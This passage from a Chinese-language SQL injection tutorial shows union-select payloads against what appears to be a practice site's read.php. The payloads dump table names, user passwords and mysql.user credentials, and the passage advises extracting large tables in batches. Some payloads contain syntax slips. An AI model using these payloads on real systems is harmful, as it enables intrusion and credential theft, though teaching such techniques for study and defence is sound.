select concat(username,"==",password,"==",role) as userinfo from user
复制代码
10、如果查出多列,只能表现一列,则可以使用limit
select * from user limit 0,1 或 limit 8,1 等
或
select 1,2,table_name,4,5,6 from information_schema,tables where table_schema='learn' limit 1,1
复制代码
三、进阶用法
1、使用concat_ws指定分隔符,比concat更加方便
select concat_ws('==',username,password,role) as userinfo from user
复制代码
2、使用group_concat和concat_ws连用
select * from article where articleid=-1 union select 1,2,
(select group_concat(table_name) from information_schema.tables where table_schema='learn'),
(select group_concat(concat_ws('==',username,password,role)) from user),5,6
/security/read.php?id=-1 union select 1,2,3(select group_concat(concat_ws('==',User,Password,Host)) from mysql.user),5,6
/security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3),5,6
一次性完整取得数据库中的数据,再利用Python进行字符串切分,即可还原为二维表。
#如果数据量庞大,则可以分批次进行
/security/read.php?id=-1 union select 1,2,3,(select group_concat(concat_ws('==',articleid,headline,viewcount)) from learn3 where articleid between 5 and 10),5,6